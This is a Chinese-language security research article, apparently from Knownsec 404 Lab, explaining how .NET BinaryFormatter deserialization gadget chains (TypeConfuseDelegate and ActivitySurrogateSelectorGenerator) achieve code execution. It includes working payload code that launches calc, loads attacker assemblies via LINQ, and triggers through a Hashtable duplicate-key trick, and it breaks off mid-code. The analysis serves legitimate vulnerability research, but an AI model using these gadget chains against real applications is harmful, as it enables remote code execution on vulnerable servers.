作者:HuanGMz@知道創宇404實驗室
時間:2020年11月30日

一.TypeConfuseDelegate工具鏈

TypeConfuseDelegate 工具鏈 利用了SortedSet類在反序列化時調用比較器進行排序,以及多播委托可以修改委托實例的特點實現在反序列化時執行代碼

0x10 基礎知識

0x11 SortedSet<T>

SortedSet<T> 從其名字就可以看出其用處,可排序的set,表示按排序順序維護的對象的集合。<T> 為泛型用法,T表示集合中元素的類型。

既然是可排序的,那么集合中的元素要依據什么進行排序呢?我們看一個SortedSet 的例子就知道了:

// Defines a comparer to create a sorted set
// that is sorted by the file extensions.
public class ByFileExtension : IComparer<string>
{
    string xExt, yExt;

    CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();

    public int Compare(string x, string y)
    {
        // Parse the extension from the file name.
        xExt = x.Substring(x.LastIndexOf(".") + 1);
        yExt = y.Substring(y.LastIndexOf(".") + 1);

        // Compare the file extensions.
        int vExt = caseiComp.Compare(xExt, yExt);
        if (vExt != 0)
        {
            return vExt;
        }
        else
        {
            // The extension is the same,
            // so compare the filenames.
            return caseiComp.Compare(x, y);
        }
    }
}
...


// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");

可以看到,在實例化 SortedSet類的時候,指定當前集合中元素類型為string,同時傳入了一個 ByFileExtension 實例 做為初始化參數。

ByFileExtension 類是一個“比較器”,專門提供給 SortedSet 用于排序。其類型繼承于 IComparer<T> 接口。

我們看一下SortedSet 的初始化函數:

IComparer<T> comparer;
...

public SortedSet(IComparer<T> comparer) {
    if (comparer == null) {
        this.comparer = Comparer<T>.Default;
    } else {
        this.comparer = comparer;
    }
}

可以看到,傳入的比較器被存儲在 comparer字段中,該字段類型也為 IComparer<T> 類型。

Icomparer<T>

public interface IComparer<in T>
{
    // Compares two objects. An implementation of this method must return a
    // value less than zero if x is less than y, zero if x is equal to y, or a
    // value greater than zero if x is greater than y.
    // 
    int Compare(T x, T y);
}

這是一個接口類型,定義了一個Comparer() 方法,該方法用于比較同類型的兩個對象,規定返回結果為int型。

上面例子中的 ByFileExtension 類型便繼承于 IComparer<T>,其實現了Compare方法,用于比較兩個string 對象。

SortedSet 便是利用這樣一個比較器來給同類型的兩個對象排序。

回到SortedSet 的用法:

set.Add("hello.a");
set.Add("hello.b");

其通過調用Add方法來給集合添加元素。這里有一個細節,在第一次Add時不會調用比較器,從第二次Add才開始調用比較器(合理)。

0x12 ComparisonComparer<T>

Comparer<T>

Comparer<T> 是 Icomparer<T>接口的一個實現,其源碼如下:

public abstract class Comparer<T> : IComparer, IComparer<T>
{
    static readonly Comparer<T> defaultComparer = CreateComparer(); 

    public static Comparer<T> Default {
        get {
            Contract.Ensures(Contract.Result<Comparer<T>>() != null);
            return defaultComparer;
        }
    }

    public static Comparer<T> Create(Comparison<T> comparison)
    {
        Contract.Ensures(Contract.Result<Comparer<T>>() != null);

        if (comparison == null)
            throw new ArgumentNullException("comparison");

        return new ComparisonComparer<T>(comparison);
    }

    ...

    public abstract int Compare(T x, T y);

    int IComparer.Compare(object x, object y) {
        if (x == null) return y == null ? 0 : -1;
        if (y == null) return 1;
        if (x is T && y is T) return Compare((T)x, (T)y);
        ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidArgumentForComparison);
        return 0;
    }
}

我們重點關注 Comparer.Create() 函數,該函數創建了一個 ComparisonComparer<T> 類型,并將其返回。

我們看一下 ComparisonComparer<T> 類型是啥?

[Serializable]
internal class ComparisonComparer<T> : Comparer<T>
{
    private readonly Comparison<T> _comparison;

    public ComparisonComparer(Comparison<T> comparison) {
        _comparison = comparison;
    }

    public override int Compare(T x, T y) {
        return _comparison(x, y);
    }
}

這是一個可序列化的類型,其繼承于 Comparer<T>,所以也是一個比較器。

我們關注其用于比較的函數Compare(),該函數直接調用了 _comparison() 函數。而_comparison 字段是一個Comparison<T> 類型,在初始化時被傳入并設置。Comparison<T> 是什么類型?

public delegate int Comparison<in T>(T x, T y);

原來這是一個委托類型,其函數簽名與比較函數相同。

目前為止,我們應認識到ComparisonComparer<T> 有如下的關鍵:

  • 是一個比較器,且比較函數可自定義
  • 可序列化

0x20 SortedSet<T> 的反序列化

在SortedSet<T> 類里,有一個OnDeserialization 函數:

void IDeserializationCallback.OnDeserialization(Object sender) {
    OnDeserialization(sender);
}

protected virtual void OnDeserialization(Object sender) {
    if (comparer != null) {
        return; //Somebody had a dependency on this class and fixed us up before the ObjectManager got to it.
    }

    if (siInfo == null) {
        ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
    }

    comparer = (IComparer<T>)siInfo.GetValue(ComparerName, typeof(IComparer<T>));
    int savedCount = siInfo.GetInt32(CountName);

    if (savedCount != 0) {
        T[] items = (T[])siInfo.GetValue(ItemsName, typeof(T[]));

        if (items == null) {
            ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
        }

        for (int i = 0; i < items.Length; i++) {
            Add(items[i]);
        }
    }

    version = siInfo.GetInt32(VersionName);
    if (count != savedCount) {
        ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
    }
    siInfo = null;
}

IDeserializationCallback 接口定義的 OnDeserialization() 方法用于在反序列化后自動調用。

觀看SortedSet 的OnDeserialization() 函數,可以看到其先取出 Comparer賦給當前新的 SortedSet<T>對象,即this,然后調用Add方法來添加元素。我們前面已經知道使用Add方法添加第二個元素時就會開始調用比較函數。也就是說,在反序列化SortedSet<T> 時,會觸發SortedSet<T>排序,進而調用設置的比較器中的比較函數。

由于我們可以設置比較函數,而且傳給比較函數的兩個參數就是Add的前兩個string 元素(可控),那么如果將比較函數設置為Process.Start() 函數,我們就可以實現代碼執行了。

0x30 構造payload

對于SortedSet<string> 類來說,其比較函數類型為:

int Comparison<in T>(T x, T y);

而Process.Start()中比較相似的是:

public static Process Start(string fileName, string arguments);

但是其返回值類型為 Process類型,仍然與比較函數不同。如果我們直接將比較器的比較函數替換為Process.Start會導致在序列化時失敗。

那么要如何做?可以借多播委托來替換調用函數,如下:

static void TypeConfuseDelegate(Comparison<string> comp)
{
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
            BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = comp.GetInvocationList();
    // Modify the invocation list to add Process::Start(string, string)
    invoke_list[1] = new Func<string, string, Process>(Process.Start);
    fi.SetValue(comp, invoke_list);
}

static void Main(string[] args)
{

    // Create a simple multicast delegate.
    Delegate d = new Comparison<string>(String.Compare);
    Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
    // Create set with original comparer.
    IComparer<string> comp = Comparer<string>.Create(c);

    TypeConfuseDelegate(c);
    ...
}

MulticastDelegate 即多播委托。所謂多播,就是將多個委托實例合并為一個委托,即多播委托。在調用多播委托時,會依次調用調用列表里的委托。在合并委托時只能合并同類型的委托。

我們先看 MulticastDelegate.Combine函數,該函數繼承自 delegate類型:

public static Delegate Combine(Delegate a, Delegate b)
{
    if ((Object)a == null) // cast to object for a more efficient test
        return b;

    return  a.CombineImpl(b);
}

跟入 CombineImpl():

protected override sealed Delegate CombineImpl(Delegate follow)
{
    if ((Object)follow == null) // cast to object for a more efficient test
        return this;

    // Verify that the types are the same...
    if (!InternalEqualTypes(this, follow))
        throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));

    MulticastDelegate dFollow = (MulticastDelegate)follow;
    Object[] resultList;
    int followCount = 1;
    Object[] followList = dFollow._invocationList as Object[];
    if (followList != null)
        followCount = (int)dFollow._invocationCount; 

    int resultCount;
    Object[] invocationList = _invocationList as Object[];
    if (invocationList == null)
    {
        resultCount = 1 + followCount;
        resultList = new Object[resultCount];
        resultList[0] = this;
        if (followList == null)
        {
            resultList[1] = dFollow;
        }
        else
        {
            for (int i = 0; i < followCount; i++)
                resultList[1 + i] = followList[i];
        }
        return NewMulticastDelegate(resultList, resultCount);
    }
   ...

由于a和b都是 delegate類型的變量,這里將其轉換為 MulticastDelegate(繼承自 delegate) 類型。而 MulticastDelegate 有兩個重要的字段,_invocationList 和 _invocationCount。_invocationList 是一個數組,存放的是需要多播的委托實例。_invocationCount 則是對應的個數。

由于a和b都是由 delegate 轉換為 MulticastDelegate,所以其 _invocationList 默認為null,_invocationCount為0。所以該函數會創建一個新數組,存放a和b,并賦給 _invocationList ,然后將_invocationCount 設置為2,然后返回一個新的 MulticastDelegate 變量。

我們在創建好MulticastDelegate 對象后,直接替換其 _invocationList 中的多播實例為 new Func<string, string, Process>(Process.Start)。_invocationList 是object[] 類型,所以不會報錯。

而在調用多播委托時,由于輸入參數類型相同,所以也不會造成問題。實際上,這與c語言中通過函數指針調用函數的問題相同,涉及到的是函數調用約定的問題。比如我將要替換的委托實例由 Process.Start 改為如下:

static int compfunc(ulong a, ulong b)
{
    Console.WriteLine("{0:X}", a);
    Console.WriteLine("{0:X}", b);
    Process.Start("calc");
    return 1;
}

invoke_list[1] = new Func<ulong, ulong, int>(compfunc);

ulong 為64位無符號類型,這時查看打印的數據以及對應內存(Add的數據分別是"calc" 和 "adummy"):

很明顯,通過多播委托調用委托實例時,傳遞過去的是兩個sring對象,而委托以ulong類型接收。在內存中查看ulong變量所存放的地址,很明顯是string對象。所以在調用委托時,傳遞的其實是兩個string對象的指針,我們完全可以以64位的ulong類型正常接收。這涉及到C# 底層的調用約定,我沒有了解過,這里就不再多說。

完整的payload(來自 James Forshaw):

using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Diagnostics;

namespace SortedListTest
{
    class Program
    {
        static int compfunc(string a, string b)
        {
            Process.Start(a, b);
            return 1;
        }

        static void TypeConfuseDelegate(Comparison<string> comp)
        {
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
                    BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = comp.GetInvocationList();
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(comp, invoke_list);
        }

        static void Main(string[] args)
        {

            // Create a simple multicast delegate.
            Delegate d = new Comparison<string>(String.Compare);
            Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
            // Create set with original comparer.
            IComparer<string> comp = Comparer<string>.Create(c);

            SortedSet<string> mysl = new SortedSet<string>(comp);
            mysl.Add("calc");
            mysl.Add("adummy");

            TypeConfuseDelegate(c);

            BinaryFormatter fmt = new BinaryFormatter();
            BinaryFormatter fmt2 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.Serialize(stm, mysl);
            stm.Position = 0;

            fmt2.Deserialize(stm);

        }
    }
}

注意一點,在反序列化時進行比較的元素順序與原來添加時是相反的。比如這里,我先添加"calc",后添加“adummy",假如第二次添加時原比較函數為cs,則此時調用為: cs("adummy", "calc"),而反序列化時調用比較函數則為 Process.Start( “calc", "adummy")。

這也是為什么一定要將TypeConfuseDelegate() 放在Add() 后面,否則在第二次Add時就會出現Process.Start(”adummy", "calc") 的錯誤(找不到可執行文件)。

二. ActivitySurrogateSelectorGenerator 工具鏈

0x10 選擇器和代理器

0x11 基礎知識

0x10 BinaryFormatter 有一個字段叫做: SurrogateSelector,繼承于ISurrogateSelecor接口。

// 摘要:
//     獲取或設置控制序列化和反序列化過程的類型替換的 System.Runtime.Serialization.ISurrogateSelector.
//
// 返回結果:
//     要與此格式化程序一起使用的代理項選擇器。
public ISurrogateSelector SurrogateSelector { get; set; }

該字段指定一個代理選擇器,可用于為當前BinaryFormatter實例選擇一個序列化代理器,用于在序列化時實現代理操作。注意有兩個概念:代理選擇器序列化代理器代理選擇器 用于選擇出一個 序列化代理器。為了避免繞口,以下簡稱 選擇器 和 代理器。

查看 ISurrogateSelector 接口:

public interface ISurrogateSelector {
    // Interface does not need to be marked with the serializable attribute
    // Specifies the next ISurrogateSelector to be examined for surrogates if the current
    // instance doesn't have a surrogate for the given type and assembly in the given context.
    void ChainSelector(ISurrogateSelector selector);

    // Returns the appropriate surrogate for the given type in the given context.
    ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);

    // Return the next surrogate in the chain. Returns null if no more exist.
    ISurrogateSelector GetNextSelector();
}

從其注釋 中我們可以看出,選擇器是鏈狀的。而GetSurrogate() 函數用于給出當前選擇器所選擇的 代理器,其返回值為 ISerializationSurrogate 類型。

SurrogateSelector 類是 ISurrogateSelector接口的實現,相較于原接口,其有增加了幾個函數:

    public class SurrogateSelector : ISurrogateSelector
    {
        public SurrogateSelector();
        public virtual void AddSurrogate(Type type, StreamingContext context, ISerializationSurrogate surrogate);
        public virtual void ChainSelector(ISurrogateSelector selector);
        public virtual ISurrogateSelector GetNextSelector();
        public virtual ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);
        public virtual void RemoveSurrogate(Type type, StreamingContext context);
    }

其中 AddSurrogate() 和 RemoveSurrogate() 用于直接向當前選擇器中添加和刪除代理器。

看完了選擇器,我們再看一看代理器:

public interface ISerializationSurrogate {
    // Interface does not need to be marked with the serializable attribute
    // Returns a SerializationInfo completely populated with all of the data needed to reinstantiate the
    // the object at the other end of serialization.  
    void GetObjectData(Object obj, SerializationInfo info, StreamingContext context);

    // Reinflate the object using all of the information in data.  The information in
    // members is used to find the particular field or property which needs to be set.
    Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector);
}

接口只定義了兩個函數。其中,GetObjectData() 函數在序列化時使用,用于從對象實例中獲取內容,然后傳給SerializationInfo,SetObjectData() 函數在反序列化時使用,用于從SerializationInfo 中獲取內容,然后賦給對象實例。這兩個函數即體現出了代理的意義。

微軟文檔中給出了一個 代理器的例子:

// This class can manually serialize an Employee object.
sealed class EmployeeSerializationSurrogate : ISerializationSurrogate
{

    // Serialize the Employee object to save the object's name and address fields.
    public void GetObjectData(Object obj,
        SerializationInfo info, StreamingContext context)
    {

        var emp = (Employee) obj;
        info.AddValue("name", emp.name);
        info.AddValue("address", emp.address);
    }

    // Deserialize the Employee object to set the object's name and address fields.
    public Object SetObjectData(Object obj,
        SerializationInfo info, StreamingContext context,
        ISurrogateSelector selector)
    {

        var emp = (Employee) obj;
        emp.name = info.GetString("name");
        emp.address = info.GetString("address");
        return emp;
    }
}

文檔中有一句很有意思:下面的代碼示例演示如何創建一個序列化代理類,該類知道如何正確地序列化或反序列化本身無法序列化的類。

序列化代理器可以用于序列化和反序列化 原本無法序列化的類。在例子中確實如此。經過調試,發現秘密在這里。

internal void InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
{
   ... 

    if (surrogateSelector != null && (serializationSurrogate = surrogateSelector.GetSurrogate(objectType, context, out surrogateSelectorTemp)) != null)
    {
        SerTrace.Log( this, objectInfoId," Constructor 1 trace 3");
        si = new SerializationInfo(objectType, converter);
        if (!objectType.IsPrimitive)
            serializationSurrogate.GetObjectData(obj, si, context);
        InitSiWrite();
    }
    else if (obj is ISerializable)
    {
        if (!objectType.IsSerializable) {
            throw new SerializationException(Environment.GetResourceString("Serialization_NonSerType",
                                                           objectType.FullName, objectType.Assembly.FullName));
        }
        si = new SerializationInfo(objectType, converter, !FormatterServices.UnsafeTypeForwardersIsEnabled());
        ((ISerializable)obj).GetObjectData(si, context);
    }
    else
    {
        SerTrace.Log(this, objectInfoId," Constructor 1 trace 5");
        InitMemberInfo();
        CheckTypeForwardedFrom(cache, objectType, binderAssemblyString);
    }
}

這是 WriteObjectInfo.InitSerialize() 函數,其中在判斷被序列化對象是否可序列化之前,先判斷當前是否有代理選擇器。如果有,則調用GetSurrogate() 函數獲取代理器,并使用代理器繼續進行序列化。

雖然序列化代理器可以用于序列化和反序列化 本身不可序列化的類,但是目前為止我們還沒法直接將其用于反序列化漏洞,原因:選擇器和代理器都是我們自定義的,只有在反序列化時同樣也為BinaryFormatter 指定選擇器和代理器才可以正常進行反序列化。而真實環境中目標在進行反序列化時根本不會進行代理,也不可能知道我們的代理器是什么樣的。

0x12 ObjectSerializedRef 和 ObjectSurrogate

好在 James Forshaw 發現了類 ObjectSerializedRef ,ObjectSerializedRef 在 類ObjectSurrogate 里面使用,而ObjectSurrogate 在 ActivitySurrogateSelector里調用。其中 ObjectSurrogate 是一個代理器,ActivitySurrogateSelector則是一個選擇器,在一定情況下返回 ObjectSurrogate 作為代理器。

那么代理器ObjectSurrogate 有什么特殊呢?

  • 因為它是代理器,所以通過它進行序列化時,可以序列化原本不可序列化的類。
  • 經過它序列化產生的 binary數據包含足夠多的信息,在反序列化時,不需要特意指定選擇器和代理器。

也就是說,通過ObjectSurrogate 代理產生的序列化數據,直接拿給BinaryFormatter 進行反序列化(不指定選擇器和代理器),能夠成功的進行反序列化,即使被序列化的類原本不可以序列化。

例子:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Configuration;

namespace ActivitySurrogateSelectorGeneratorTest
{
    // Definitely non-serializable class.
    class NonSerializable
    {
        private string _text;

        public NonSerializable(string text)
        {
            _text = text;
        }

        public override string ToString()
        {
            return _text;
        }
    }

    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type,
            StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void TestObjectSerializedRef()
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();


            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(stm, new NonSerializable("Hello World!"));
            stm.Position = 0;

            // Should print Hello World!.
            var fmt2 = new BinaryFormatter();
            Console.WriteLine(fmt2.Deserialize(stm));
        }

        static void Main(string[] args)
        {
            TestObjectSerializedRef();

        }
    }
}

注意,在4.8以上的.NET版本中需要關閉 ActivitySurrogateSelectorTypeCheck(這是相關的補丁),也就是TestObjectSerializedRef 里的第一句。

老實說,我到現在還沒整明白,這個代理器生成的序列化數據在反序列化時為什么不需要指定選擇器和代理器。。。。

上面的例子中沒什么好說的,就是自己定義了一個選擇器 MySurrogateSelector,重載其 GetSurrogate() 函數,使其返回一個 ObjectSurrogate 實例作為代理器。然后就可以通過該選擇器 進行 序列化數據了。

原本在構造工具鏈時,我們只能搜索可序列化的類,比如SortedSet。但是,現在有了這個工具,我們就可以把范圍擴展到不可序列化的,委托可修改的類。

0x20 LINQ

0x21 基礎知識

LINQ (Language Integrated Query) 語言集成查詢。用于對集合執行查詢操作,例子如下:

string sentence = "the quick brown fox jumps over the lazy dog";  
// Split the string into individual words to create a collection.  
string[] words = sentence.Split(' ');  

// Using query expression syntax.  
var query = from word in words  
            group word.ToUpper() by word.Length into gr  
            orderby gr.Key  
            select new { Length = gr.Key, Words = gr }; 

看上去LINQ語句和我們所熟悉的SQL 語句差不多,但更接近真相的寫法其實是下面這樣的:

// Using method-based query syntax.  
var query2 = words.  
    GroupBy(w => w.Length, w => w.ToUpper()).  
    Select(g => new { Length = g.Key, Words = g }).  
    OrderBy(o => o.Length);  

words 是集合對象(也有叫序列),實現了IEnumerable<T>接口。

看上去words 是一個string 數組,其實這是集合初始化器允許采用和數組聲明相似的方式,在集合實例化期間用一組初始成員構造該集合

根據官方文檔的說法:有兩套LINQ標準查詢運算符,一套對 IEnumerable<T> 類型,一套對IQueryable<T>類型進行操作。組成每個集合的方法分別是Enumerable和Queryable類的靜態成員。他們被定義為對其進行操作的類型的擴展方法。可以通過使用靜態方法語法或實例方法語法來調用擴展方法。這些方法便是標準查詢操作符,如下:

以上面的Where操作符為例,該函數返回的仍然是一個集合。該函數有兩個參數,一個是source,為輸入的集合,一個是predicate 為Func<TSource, int, bool> 類型的委托。其意義就是Where函數通過調用委托對輸入集合里的元素進行篩選,并將篩選出的集合作為結果返回。如果我們把一個查詢語句拆分成多個獨立的標準查詢操作符,那么應當有多個中間集合 ,上一個查詢操作符返回的集合會作為下一個查詢操作符的輸入集合。

LINQ的延遲執行和流處理:

以如下查詢語句為例:

var adultName = from person in people
                where person.Age >= 18
                select person.Name;

該查詢表達式在創建時不會處理任何數據,也不會訪問原始的people列表,而是在內存中生成了這個查詢的表現形式。判斷是否成人以及人到人名的轉換都是通過委托實例來表示。只有在訪問結果里的第一個元素的時候,Select轉換才會為它的第一個元素調用Where轉換,如果符合謂詞(where的委托參數),則再調用select轉換。(摘自《深入理解C#》)

0x22 替換 LINQ 里的委托

由前面的知識可知,諸如 Where類型的標準查詢操作符,有兩個輸入參數,一個是輸入集合,而另一個是會對集合中每一個元素都調用的委托。我們可以替換該委托。但是注意:由于LINQ的延遲執行特點,該委托只有在枚舉結果集合時才會調用。

做出假設:構造一個由特殊LINQ語句(替換其委托)產生的結果集合,然后使用第一節中所說的ObjectSurrogate代理器對其進行序列化(LINQ本身無法序列化)。如果我們可以強制對反序列化產生的集合進行枚舉,這將觸發我們替換的委托,進而執行任意代碼。

James Forshaw 設計了一條調用鏈,借用LINQ 順序執行以下函數:

byte[] -> Assembly.Load(byte[]) -> Assembly
Assembly -> Assembly.GetType() -> Type[]
Type[] -> Activator.CreateInstance(Type[]) -> object[]

這三個函數有什么特點?與標準查詢操作符的委托參數格式上很像。以Select操作符為例:

public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);

該操作符第一個參數source 為輸入集合 IEnumerable<TSource>,第二個參數為委托selector,類型為Func<TSource, TResult>,返回值為集合 IEnumerable<TResult>。

第一步:

我們希望select操作符的第二個參數所指示的委托函數是 static Assembly Load( byte[] rawAssembly ) ,那么Tsource代表的類型就是byte[],TResult代表的類型就是Assembly,那么該select的輸入集合就是一個IEnumerable<byte[]>類型,輸出集合就是一個Ienumerable<Assembly>類型。如下:

List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);

data 為一個IEnumerable<byte[]>類型,返回的集合e1 應為 IEnumerable<Assembly> 類型。

第二步:

我們希望select操作符的第二個參數所指示的委托函數是 public virtual Type[] GetTypes() 。這一步理想的委托函數應當Func<Assembly, Type>,但是GetTypes() 函數沒有輸入參數,而且返回的是Type[]類型,怎么辦?

我們可以通過反射API 來為實例方法創建一個開放委托。開放委托不僅不會存儲對象實例,而且還會增加一個Assembly參數,這正是我們需要的。

Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));

如果使用Selec操作符,我們希望的是一個返回Type對象的委托,但是GetTypes() 函數返回的是一個Ienumerable<Type>集合?還有其他的操作符可以選擇嗎?SelectMany 是一個好的選擇:

 public static IEnumerable<TResult> SelectMany<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, IEnumerable<TResult>> selector);

SelectMany 是一個好的選擇,其委托類型為 Func<TSource, IEnumerable<TResult>> ,正符合GetTypes()。

Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);

返回的集合e2 為 IEnumerable<Type>類型。

第三步:

與第一步類似,我們希望委托函數為:public static object CreateInstance(Type type),那么查詢語句如下:

Type[] e2 = ...;
var e3 = e2.Select(Activator.CreateInstance);

返回集合e3類型為 IEnumerable<object>。

那么這條鏈的實現如下:

List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);

0x30 啟動鏈

現在我們把 Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type) 三個函數都寫入了LINQ鏈里,根據LINQ的延遲執行特點,只有當我們枚舉結果集合里的元素時,才會加載程序集并創建類型實例,執行我們的代碼。那么問題來了,在反序列化后,如何保證執行枚舉操作以啟動這條鏈呢?

James Forshaw 想到的思路是這樣的:首先找到一種方法,使得在反序列化時執行ToString() 函數,然后找到一條鏈從ToString() 到 IEnumerable。

0x31 從ToString 到 IEnumerable

我們先來看是如何從ToString() 到 IEnumerable 的:

IEnumerable -> PagedDataSource -> ICollection
ICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString

代碼實現如下:

// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary 
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

第一步:

使用PagedDataSource類將IEnumerable 類型轉換為 ICollection類型,看PagedDataSource 源碼如下:

public sealed class PagedDataSource : ICollection, ITypedList {

    private IEnumerable dataSource;
    private int currentPageIndex;
    private int pageSize;
    private bool allowPaging;
    private bool allowCustomPaging;
    private bool allowServerPaging;
    private int virtualCount;
    ...
}

其中的dataSource字段為IEnumerable 類型。

第二步:

將 ICollection 類型轉換為 IDictionary 類型

internal class AggregateDictionary : IDictionary
{
    private ICollection _dictionaries;

    public AggregateDictionary(ICollection dictionaries)
    { 
        _dictionaries = dictionaries;
    } // AggregateDictionary  

第三步:DesignerVerb 類型的ToString() 函數會枚舉 IDictionary,看源碼可以理解,如下:

public string Text {
    get {
        object result = Properties["Text"];
        if (result == null) {
            return String.Empty;
        }
        return (string)result;
    }
}

public override string ToString() {
    return Text + " : " + base.ToString();
}

我們將properties字段設置為dict,當讀取Properties["Text"]就會觸發后續的動作。

0x32 觸發ToString

我們需要找到一種方法在進行反序列化時觸發ToString() 函數,進而啟動整條鏈。James Forshaw 想到利用Hashtable。

在對Hashtable 類進行反序列化的時候,它將會重建密鑰集。如果兩個鍵相等,則反序列化將失敗,并且Hashtable 會引發異常:

源碼如下:

// Hashtable.Insert()
// The current bucket is in use
// OR
// it is available, but has had the collision bit set and we have already found an available bucket
if (((buckets[bucketNumber].hash_coll & 0x7FFFFFFF) == hashcode) && 
    KeyEquals (buckets[bucketNumber].key, key)) {
    if (add) {
        throw new ArgumentException(Environment.GetResourceString("Argument_AddingDuplicate__", buckets[bucketNumber].key, key));
    }
internal static String GetResourceString(String key, params Object[] values) {
    String s = GetResourceString(key);
    return String.Format(CultureInfo.CurrentCulture, s, values);
}

可以看到,在GetResourceString 函數里,values 被傳給了 String.Format(),由于values 不是string類型,會導致其調用ToSTring() 函數,進而啟動整條鏈,加載自定義程序集并執行任意代碼。

通過Hashtable 調用ToString 的代碼如下:

// Add two entries to table.
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");

FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
    object bucket = keys.GetValue(i);
    object key = fi_key.GetValue(bucket);
    if (key is string)
    {
        fi_key.SetValue(bucket, verb);
        keys.SetValue(bucket, i);
        break;
    }
}

fi_keys.SetValue(ht, keys);

ls.Add(ht);

代碼中通過反射獲取Hashtable 的buckets字段值,然后再獲取buckets的key字段,然后將第二個key由原來的 "Dummy" 替換為 verb,導致兩個元素key值相同,這會導致之前所說的調用key 的 ToString() 函數。

0x40 拼圖

現在我們要把前面所講的各個鏈拼接在一起。

首先,我們要先創建一個程序集,作為被執行的代碼,如下:

using System;
using System.Windows.Forms;

namespace ExploitClass
{
    public class Exploit 
    {
        public Exploit()
        {
            try
            {
                MessageBox.Show("Win!", "Pwned", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            catch(Exception)
            {
            }
        }
    }
}

然后是序列化的代碼,如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;

namespace ActivitySurrogateSelectorGeneratorTest
{
    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type,
            StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
